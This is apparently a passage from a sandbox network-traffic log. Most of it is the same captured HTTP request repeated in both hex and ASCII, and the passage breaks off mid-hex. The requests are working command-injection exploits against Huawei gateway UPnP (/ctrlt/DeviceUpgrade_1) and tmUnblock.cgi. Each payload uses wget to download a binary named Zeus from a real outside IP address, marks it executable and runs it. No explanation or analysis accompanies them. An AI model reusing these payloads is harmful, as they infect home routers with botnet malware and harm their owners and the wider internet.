70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 